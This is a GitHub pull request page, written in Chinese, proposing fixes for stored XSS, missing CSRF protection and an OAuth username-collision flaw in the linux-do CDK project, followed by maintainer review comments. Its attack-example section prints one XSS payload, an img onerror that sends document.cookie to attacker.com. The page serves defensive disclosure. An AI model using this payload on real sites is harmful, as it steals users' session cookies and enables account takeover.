Skip to content

fix(security): 修复 XSS、CSRF、OAuth 账户接管三个高危安全漏洞#183

Draft
mafei2023 wants to merge 1 commit into
linux-do:masterfrom
mafei2023:master
Draft

fix(security): 修复 XSS、CSRF、OAuth 账户接管三个高危安全漏洞#183
mafei2023 wants to merge 1 commit into
linux-do:masterfrom
mafei2023:master

Conversation

@mafei2023

Copy link
Copy Markdown
  1. 修复 ContentRender.tsx 存储型 XSS:将 innerHTML 改为 textContent,防止通过项目描述注入恶意脚本窃取 session cookie
  2. 添加 CSRF 防护:Session Cookie 设置 SameSite=Lax,新增后端 CSRF 中间件校验 X-Requested-With 头,前端 axios 和 middleware 自动附加
  3. 修复 OAuth 用户名冲突账户接管:冲突时拒绝登录而非禁用已有用户

例行检查

  • x 我已阅读并理解 贡献者公约
  • x 我已阅读并同意 贡献者许可协议 (CLA),确认我的贡献将根据项目的 MIT 许可证进行许可,
  • x 我知晓如果此 PR 并不做出实质性更改,或可被认为是为了PR被合并而提交PR的,则可能不会被合并,

变更内容

修复 3 个高危安全漏洞:

  1. 存储型 XSS(ContentRender.tsx) — 图片加载失败时,onError 回调通过 innerHTML 直接插入未经转义的 alt/src 值,攻击者可通过项目描述注入恶意脚本窃取用户 session cookie。改为使用 .textContent
    插入,浏览器自动转义。
  2. 全站无 CSRF 防护 — Cookie-based 认证无任何 CSRF 保护,攻击者可构造恶意页面修改他人支付配置、偷走付费收入。新增双层防御:Session Cookie 设置 SameSite=Lax,后端新增 CSRF 中间件校验 X-Requested-With
    自定义头。
  3. OAuth 用户名冲突账户接管(utils.go) — 新用户与已有用户同名时,已有用户被强制改名并永久禁用,无通知无恢复。改为拒绝登录并返回错误提示。

变更原因

攻击者可利用上述漏洞:通过项目描述注入 XSS 窃取任意用户 session;通过 CSRF 修改他人支付凭据转移收入;通过 OAuth 用户名冲突永久禁用任意用户账户。均为零交互或低交互即可利用的漏洞,需立即修复。


攻击示例

  1. 存储型 XSS — 窃取用户 Session

攻击者注册账户后创建项目,项目描述中写入:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

当任意用户浏览该项目详情页时,图片加载失败触发 onError,${alt || src} 被直接插入 innerHTML,恶意脚本执行,用户的 session cookie 被发送到攻击者服务器。攻击者使用该 cookie
即可完全接管受害者账户,访问其所有项目、支付配置和领取记录。

  1. CSRF — 偷走付费项目收入

攻击者构造恶意页面并诱导已登录用户访问:

用户浏览器自动携带 cookie 提交表单,后端将受害者的支付凭据替换为攻击者的。此后受害者创建的付费项目,所有收入将转入攻击者账户。

  1. OAuth 用户名冲突 — 永久禁用任意用户

目标用户 alice(OAuth ID: 100)已注册。攻击者在 OAuth 提供方获取用户名 alice,然后用该账号登录 CDK。系统检测到用户名冲突,直接将原用户 alice 改名为 alice已注销: {uuid}
并设置 is_active = false。目标用户从此无法登录,且无任何通知或恢复途径。

1. 修复 ContentRender.tsx 存储型 XSS:将 innerHTML 改为 textContent,防止通过项目描述注入恶意脚本窃取 session cookie
2. 添加 CSRF 防护:Session Cookie 设置 SameSite=Lax,新增后端 CSRF 中间件校验 X-Requested-With 头,前端 axios 和 middleware 自动附加
3. 修复 OAuth 用户名冲突账户接管:冲突时拒绝登录而非禁用已有用户
@yyg-max yyg-max requested review from Noxiven and chenyme May 31, 2026 09:17

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

这里是在处理L站用户注销而在cdk系统继续存在的场景

@Noxiven

Noxiven commented Jun 11, 2026

Copy link
Copy Markdown
Collaborator

请更新你的源分支,并确保能通过 Workflow;
internal/router/middlewares.go 看起来有描述外的提交,请确认是否是你的提交

@Noxiven Noxiven marked this pull request as draft June 11, 2026 03:11
@github-actions

Copy link
Copy Markdown

此 PR 长期无活动,将在 14 天后自动关闭。如需继续讨论请回复

@github-actions github-actions Bot added the Stale label Jun 26, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants